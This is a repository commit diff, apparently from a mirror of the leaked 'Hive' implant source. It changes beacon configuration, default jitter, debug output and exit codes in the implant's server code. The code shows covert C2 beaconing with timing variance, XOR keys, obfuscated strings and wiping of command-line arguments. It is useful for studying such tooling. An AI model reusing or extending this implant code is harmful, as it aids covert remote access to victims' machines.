Projects STRLCPY Vault-8-Hive Commits f0469f45
🤬
  • documentation/UsersGuide/UsersGuide.odt
    Binary file.
  • documentation/UsersGuide/UsersGuide.pdf
    Binary file.
  • ■ ■ ■ ■ ■
    server/beacon.c
    skipped 124 lines
    125 125   BEACONINFO *beaconInfo;
    126 126   
    127 127   beaconInfo = (BEACONINFO *) param;
    128  - DLX(4, printf("Starting beacon thread with initial beacon delay of %ld seconds\n", beaconInfo->initDelay / 1000));
     128 + DLX(4, printf("\nStarting beacon with the following parameters:\n"));
     129 + DLX(4, printf("\t%32s: %-s\n", "Beacon Server", beaconInfo->host));
     130 + DLX(4, printf("\t%32s: %-d\n", "Beacon Server Port", beaconInfo->port));
     131 + DLX(4, printf("\t%32s: %-s\n", "Primary DNS Server IP Address", beaconInfo->dns[0]));
     132 + DLX(4, printf("\t%32s: %-s\n", "Secondary DNS Server IP Address", beaconInfo->dns[1]));
     133 + DLX(4, printf("\t%32s: %-lu\n", "Initial Beacon Delay (sec)", beaconInfo->initDelay/1000));
     134 + DLX(4, printf("\t%32s: %-i\n", "Beacon Interval (sec)", beaconInfo->interval/1000));
     135 + DLX(4, printf("\t%32s: %-f\n\n", "Beacon Variance (%)", beaconInfo->percentVariance));
     136 + 
     137 + DLX(4, printf("\nStarting beacon thread with initial beacon delay of %ld seconds\n", beaconInfo->initDelay / 1000));
    129 138   Sleep(beaconInfo->initDelay); // Wait for initial delay
    130 139   
    131 140   for (;;) { // Beacon Loop
    skipped 530 lines
  • ■ ■ ■ ■ ■
    server/beacon.h
    skipped 11 lines
    12 12  #define TOOL_ID 0x65ae82c7
    13 13  #define TOOL_ID_XOR_KEY 3
    14 14  #define XOR_KEY 5
    15  -#define DEFAULT_BEACON_PORT 443 // HTTPS
     15 +#define DEFAULT_BEACON_PORT 443 // HTTPS
     16 +#define DEFAULT_BEACON_VARIANCE 3 * 0.01f // 3%
    16 17   
    17 18  //Flag defines
    18 19  // OS
    skipped 97 lines
  • ■ ■ ■ ■ ■ ■
    server/main.c
    skipped 139 lines
    140 140   // MAC address of ethernet interface(s)
    141 141   if ( is_elevated_permissions() != SUCCESS ) {
    142 142   fprintf(stderr,"%s", inp183Aq );
    143  - return -1;
     143 + return 1;
    144 144   }
    145 145   
    146 146   //initialize srand only once using the initSrandFlag...
    skipped 52 lines
    199 199   goto patched_binary;
    200 200   } else {
    201 201   beaconInfo.port = DEFAULT_BEACON_PORT;
     202 + beaconInfo.percentVariance = DEFAULT_BEACON_VARIANCE;
    202 203   }
    203 204   DLX(1, printf("NOTE: Binary was NOT/NOT patched with arguments\n\n"));
    204 205   
    skipped 33 lines
    238 239   beaconInfo.percentVariance = atoi(optarg) * 0.01f;
    239 240   }
    240 241   else {
    241  - beaconInfo.percentVariance = -1;
     242 + beaconInfo.percentVariance = 0;
    242 243   }
    243 244   break;
    244 245   
    skipped 3 lines
    248 249   if (ikey[0] != '\0') { // Ensure that both -k and -K options aren't used together.
    249 250  // fprintf(stderr, "Option error\n");
    250 251   fprintf(stderr, "%s\n", oe1);
    251  - return -2;
     252 + return 2;
    252 253   }
    253 254   
    254 255   if (access(optarg, R_OK)) {
    255 256   fprintf(stderr, "%s\n", oe2);
    256  - return -3;
     257 + return 3;
    257 258   }
    258 259   if (stat(optarg, &statbuf) != 0) {
    259 260   perror("Option K");
    260  - return -3;
     261 + return 3;
    261 262   }
    262 263   if (statbuf.st_size >= ID_KEY_LENGTH_MIN) { // Validate that the key text is of sufficient length
    263 264   sha1_file((const char *)optarg, ikey); // Generate the ID key
    skipped 3 lines
    267 268   DLX(1, printf("\n\n\n" ));
    268 269   } else {
    269 270   fprintf(stderr, "%s\n", oe3);
    270  - return -4;
     271 + return 4;
    271 272   }
    272 273   break;
    273 274   }
    skipped 5 lines
    279 280   if (ikey[0] != '\0') { // Ensure that both -k and -K options aren't used together.
    280 281  // fprintf(stderr, "%s\n" "Option error");
    281 282   fprintf(stderr, "%s\n", oe1);
    282  - return -2;
     283 + return 2;
    283 284   }
    284 285   
    285 286   if (strlen( optarg ) < ID_KEY_LENGTH_MIN) {
    286 287   fprintf(stderr, "%s\n", oe3);
    287  - return -4;
     288 + return 4;
    288 289   }
    289 290   DLX(1, printf( "KeyPhrase: %s \n", optarg));
    290 291   sha1((const unsigned char *)optarg, strlen(optarg), ikey);
    skipped 12 lines
    303 304   strcpy(sdcfp, optarg); // Copy the path from the argument
    304 305   } else {
    305 306   fprintf(stderr, "%s\n", sde);
    306  - return -5;
     307 + return 5;
    307 308   }
    308 309   break;
    309 310   
    skipped 7 lines
    317 318   if ((dns = strtok(address_list, ","))) {
    318 319   if (strlen(dns) > 16) {
    319 320   fprintf(stderr, "%s\n", oe4);
    320  - return -6;
     321 + return 6;
    321 322   }
    322 323   memcpy(beaconInfo.dns[0], dns, strlen(dns));
    323 324   } else {
    324 325   beaconInfo.dns[0][0] = '\0';
    325 326   fprintf(stderr, "%s\n", sdf); // Parameter missing
    326  - return -7;
     327 + return 7;
    327 328   }
    328 329   
    329 330   // Get 2nd DNS server address if it was entered and validate its length
    330 331   if ((dns = strtok(NULL, ","))) {
    331 332   if (strlen(dns) > 16) {
    332 333   fprintf(stderr, "%s\n", oe4);
    333  - return -6;
     334 + return 6;
    334 335   }
    335 336   memcpy(beaconInfo.dns[1], dns, strlen(dns));
    336 337   } else
    skipped 20 lines
    357 358   }
    358 359   
    359 360   // Process environment variables, if needed
    360  -
     361 + DL(4);
    361 362   if (beaconInfo.initDelay > 0 && beaconInfo.interval == 0 ) {
    362 363   DLX(1, printf("No Beacon Interval specified!\n"));
    363 364   DLX(1, printUsage(argv[0]));
    364  - return -8;
     365 + return 8;
    365 366   }
     367 + 
    366 368   if (beaconInfo.initDelay >= (INT_MAX-1)) {
    367 369   DLX(1, printUsage(argv[0]));
    368  - return -9;
     370 + return 9;
     371 + }
     372 + 
     373 + if (beaconInfo.percentVariance == 0) {
     374 + DLX(1, printUsage(argv[0]));
     375 + return 10;
    369 376   }
    370 377   
    371 378   if (ikey[0] == '\0') {
    372 379   DLX(1, printUsage(argv[0]));
    373  - return -10;
     380 + return 11;
    374 381   }
    375 382   
    376 383   clean_args(argc, argv, NULL); // Zero command line arguments
    skipped 1 lines
    378 385  ////////////////////////////////////////////////////////////////////////////////////////////////////////////////
    379 386   
    380 387  patched_binary: // Parsing of command line arguments skipped for patched binaries
    381  - 
     388 + DL(4);
    382 389   if (beaconInfo.initDelay > 0) { // Beacons enabled
    383 390   
    384 391   if (beaconInfo.port == 0) {
    skipped 4 lines
    389 396   if (beaconInfo.host == NULL) { // At this point, the domain name or IP address appears in beaconInfo.host
    390 397   DLX(1, printf("No Beacon IP address specified!\n"));
    391 398   DLX(1, printUsage(argv[0]));
    392  - return -11;
     399 + return 12;
    393 400   }
    394 401   
    395 402   if (inet_pton(AF_INET, beaconInfo.host, &beaconIPaddr) <= 0) { // Determine if beacon IP is a valid address
    396 403   if (args.dns[0] == NULL && args.patched == 0) { // If not, verify that a DNS server address was specified
    397 404   DLX(1, printf("Beacon IP was specified as a domain name, but no valid DNS server address was specified to resolve the name!\n"));
    398  - return -12;
     405 + return 13;
    399 406   }
    400 407   }
    401 408   }
    skipped 33 lines
    435 442   printf("\t%32s: %-d\n", "Beacon Server Port", beaconInfo.port);
    436 443   printf("\t%32s: %-s\n", "Primary DNS Server IP Address", beaconInfo.dns[0]);
    437 444   printf("\t%32s: %-s\n", "Secondary DNS Server IP Address", beaconInfo.dns[1]);
    438  - printf("\t%32s: %-lu\n", "Initial Beacon Delay (sec)", beaconInfo.initDelay);
    439  - printf("\t%32s: %-i\n", "Initial Beacon Delay (sec)", beaconInfo.interval);
    440  - printf("\t%32s: %-f\n\n", "Initial Beacon Delay (sec)", beaconInfo.percentVariance);
     445 + printf("\t%32s: %-lu\n", "Initial Beacon Delay (sec)", beaconInfo.initDelay/1000);
     446 + printf("\t%32s: %-i\n", "Beacon Interval (sec)", beaconInfo.interval/1000);
     447 + printf("\t%32s: %-f\n\n", "Beacon Variance (%)", beaconInfo.percentVariance);
    441 448  #endif
    442 449   
    443 450  #ifndef DEBUG
    skipped 95 lines
Please wait...
Page is in error, reload to recover